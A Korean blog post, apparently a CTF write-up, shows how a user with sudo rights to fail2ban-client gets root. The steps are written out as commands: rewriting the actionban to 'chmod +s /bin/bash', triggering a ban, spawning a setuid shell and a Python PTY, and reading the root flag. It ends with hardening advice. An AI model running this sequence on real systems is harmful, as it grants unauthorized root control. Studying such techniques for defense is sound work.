fail2ban privilage escalation

agnusdei·2025년 6월 1일
0

CTF

목록 보기
9/154

Fail2ban actionban 명령어 변조를 통한 권한 상승


1. 배경 및 개념

  • Fail2ban은 공격 패턴이 로그에 나타나면 지정된 actionban 명령어를 root 권한으로 실행해 공격 IP를 차단하는 도구입니다.
  • Fail2ban 설정을 관리하는 fail2ban-client 명령어는 root 권한으로 실행됩니다.
  • 만약 일반 사용자(여기서는 asterisk)가 sudo fail2ban-client 권한이 있다면, 이 명령을 통해 Fail2ban 설정을 조작할 수 있습니다.
  • Fail2ban 액션 중 하나인 actionban 명령을 악용해서, 차단 시 root 권한으로 임의 명령을 실행하도록 변경할 수 있습니다.

2. 작업 내용과 원리

(1) 현재 Fail2ban jail 액션 확인

sudo /usr/bin/fail2ban-client get asterisk-iptables actions
  • asterisk-iptables라는 jail에 연결된 액션 이름을 확인.
  • 여기서는 iptables-allports-ASTERISK 액션이 할당됨.

(2) actionban 명령어 확인

sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
  • 원래 actionban 명령은 iptables 룰을 추가해서 IP 차단을 수행하는 명령:

    <iptables> -I f2b-ASTERISK 1 -s <ip> -j <blocktype>
  • Fail2ban은 공격 IP를 발견하면 위 명령을 root 권한으로 실행해 해당 IP를 차단함.

(3) actionban 명령어를 setuid 비트 설정 명령어로 변경

sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'
  • actionban 명령을 'chmod +s /bin/bash'로 변경.
  • 이제 IP 차단이 실행될 때마다 root 권한으로 /bin/bash에 setuid 비트가 설정됨.

(4) 설정 변경 확인

sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
  • 명령이 'chmod +s /bin/bash'로 제대로 변경됐는지 확인.

(5) /bin/bash 파일 권한 상태 확인

ls -la /bin/bash
  • 변경 전에는 setuid 비트가 없는 상태(-rwxr-xr-x).

(6) 임의 IP를 차단 명령 실행

sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.4
  • Fail2ban에 임의 IP 차단 요청.
  • 이때 actionban 명령인 'chmod +s /bin/bash'가 root 권한으로 실행됨.

(7) /bin/bash 권한 확인

ls -la /bin/bash
  • -rwsr-sr-x로 setuid 비트가 설정됨.
  • 이 뜻은 /bin/bash 실행 시 파일 소유자인 root 권한으로 쉘이 실행된다는 의미.

(8) 권한 상승 쉘 실행

/bin/bash -p
  • -p 옵션은 setuid 쉘 실행 시 권한 보존을 의미.
  • 일반 사용자인 asterisk가 root 권한 쉘을 획득.

(9) Python으로 PTY(가상 터미널) 셸 얻기

python3 -c 'import os;import pty;os.setuid(0);os.setgid(0);pty.spawn("/bin/bash");'
  • PTY 쉘을 얻어 터미널 기능 완비.
  • id 명령으로 UID 0(root) 확인.

(10) root 플래그 읽기

wc -c /root/root.txt
  • root 권한으로 루트 디렉터리의 플래그 파일 읽기 성공.

3. 요약: 이 작업이 하는 일

  • Fail2ban이 공격 IP를 차단할 때 실행하는 root 명령어(actionban)를 임의 명령으로 바꿈.
  • 임의 명령어는 /bin/bash에 setuid 비트를 설정하는 chmod +s /bin/bash.
  • 임의 IP 차단 시 Fail2ban이 root 권한으로 chmod +s /bin/bash 실행 → 일반 사용자가 root 권한 쉘 획득 가능.
  • 권한 상승 후 root 전용 파일 접근 및 작업 수행 가능.

4. 왜 가능한가?

  • Fail2ban 설정 조작 권한이 일반 사용자에게 주어진 상태.
  • Fail2ban이 root 권한으로 actionban 명령어를 실행.
  • 따라서 일반 사용자가 설정을 악용하여 root 권한 명령어를 실행 가능.

5. 주의점

  • 실무에서는 fail2ban-client에 불필요한 sudo 권한을 주면 안 됨.
  • chmod +s /bin/bash 같은 setuid 쉘 설정은 심각한 보안 취약점임.
  • 권한 상승 기법의 대표적인 예시로, 권한 분리 및 최소 권한 원칙 준수 필수.

profile
DevSecOps ⚙️ + CTF🚩

0개의 댓글